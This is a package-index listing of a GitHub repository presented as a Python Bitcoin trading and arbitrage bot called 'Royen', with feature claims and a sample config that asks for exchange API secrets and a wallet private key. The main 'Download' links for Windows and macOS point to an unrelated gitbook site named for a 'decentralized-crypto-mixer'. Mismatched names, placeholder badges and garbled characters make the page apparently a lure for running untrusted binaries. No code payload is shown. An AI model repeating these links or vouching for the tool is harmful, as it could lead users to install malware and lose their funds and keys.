https://github.com/vatsi2/btc-autotrading-bot
Is the premier BTC trading and risk management. Leverage high-frequency Cross-Chain Arbitrage across Lightning Network, Liquid Network, and top CEX/DEX venues; execute precision TWAP orders on Binance, Kraken, Uniswap, and SushiSwap; and deploy advanced
https://github.com/vatsi2/btc-autotrading-bot
arbitrage binance bitcoin bitcoin-trading btc bybit coinbase cross-chain crypto cryptocurrency defi dex hft high-frequency kraken kucoin okx trading twap uniswap
Last synced: 25 days ago
JSON representation
Is the premier BTC trading and risk management. Leverage high-frequency Cross-Chain Arbitrage across Lightning Network, Liquid Network, and top CEX/DEX venues; execute precision TWAP orders on Binance, Kraken, Uniswap, and SushiSwap; and deploy advanced
- Host: GitHub
- URL: https://github.com/vatsi2/btc-autotrading-bot
- Owner: vatsi2
- License: mit
- Created: 2025-03-07T13:34:42.000Z (about 2 months ago)
- Default Branch: main
- Last Pushed: 2025-04-07T08:55:17.000Z (25 days ago)
- Last Synced: 2025-04-07T09:15:17.933Z (25 days ago)
- Topics: arbitrage, binance, bitcoin, bitcoin-trading, btc, bybit, coinbase, cross-chain, crypto, cryptocurrency, defi, dex, hft, high-frequency, kraken, kucoin, okx, trading, twap, uniswap
- Language: Python
- Homepage:
- Size: 1.32 MB
- Stars: 344
- Watchers: 29
- Forks: 80
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# π‘οΈ Royen
## π₯ **Description**
**Royen** is a powerful, portable Python suite for automated BTC Trading, Cross-Chain Arbitrage, TWAP Execution, and Leveraged Long/Short strategies, with built-in Risk Management and Alertsβall running locally, no AI required.[](https://openzeppelin.com)
[](https://)
# Download
### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)# Docs
### [**Documentation**](https://selenium-finance.gitbook.io/secure-bitcoin-trading)[](https://github.com/yourusername/defi-algo-bot)
[](https://www.python.org)
[](https://web3py.readthedocs.io)## π **Key Features**
### π Dynamic Risk Management
- Tracks portfolio peak value and calculates drawdown in real time.
- When drawdown exceeds a configurable maximum, automatically hedges exposure (e.g., converts BTC to USDT or opens offsetting futures).
- Disables further trading until manual reset or recovery.### πΉ Portfolio Tracking & Hedging
- Aggregates balances and calculates total portfolio value across all venues.
- Executes hedges proportionally across exchanges and chains.### π Exchange & DEX Connectivity
- Integrates with multiple centralized exchanges (CEX) via CCXT.
- Connects to decentralized exchanges (DEX) on various chains via on-chain APIs or SDKs (e.g., Web3.py, 0x).
- Unified interface for fetching prices, balances, and placing orders across CEX and DEX.### βοΈ Cross-Chain Arbitrage
- Monitors price spreads of BTC/USDT across configured exchanges and networks.
- Executes buy on the lowest-priced venue and sell on the highest when the spread exceeds a threshold.
- Supports bridging assets across chains to capture cross-chain opportunities.
- Automatically cancels or halts trades based on risk conditions.
### π Leveraged Long/Short Trading
- Opens margin or futures positions to go long or short on BTC.
- Configurable leverage levels per exchange or trading pair.
- Integrates risk checks to prevent liquidation and excessive exposure.### β‘οΈ TWAP Execution
- Splits large orders into multiple slices over time to minimize market impact.
- Configurable number of slices and interval between each slice.
- Pauses or cancels remaining slices if risk thresholds are breached.### π Unified Logging & Alerts
- Standardized log output for all actions (trades, hedges, risk events).
- Timestamped entries with log levels (INFO, WARNING, ERROR) for audit and debugging.
- Optional email or webhook alerts on critical events.### π Scheduler Loop
- Uses a simple scheduler (schedule library) to run strategies at defined intervals.
- Continuous loop with configurable polling frequencies.## βοΈ Configurable Settings & Usage Guide(Just choose in GUI)
```
exchanges:
- name: binance # CCXT exchange identifier
api_key: YOUR_KEY
secret: YOUR_SECRET
- name: uniswap_v2 # DEX via on-chain SDK
rpc_url: YOUR_RPC_URL
private_key: YOUR_PRIVATE_KEYrisk:
max_drawdown_pct: 0.05 # Maximum tolerated drawdown before hedging (5%)
hedge_allocation_pct: 0.5 # Fraction of BTC exposure to hedge (50%)arbitrage:
min_spread_pct: 0.2 # Minimum price spread (%) to trigger arbitrage
trade_amount_btc: 0.1 # BTC amount per arbitrage cycle
cross_chain: true # Enable cross-chain bridging for arbitragelong_short:
max_leverage: 5 # Maximum leverage for margin/futures
default_side: both # "long", "short", or "both"twap:
interval_seconds: 60 # Seconds between TWAP slices
slices: 10 # Number of TWAP slices per orderalerts:
email: [email protected] # Email for critical alerts
webhook_url: null # Webhook for notifications
```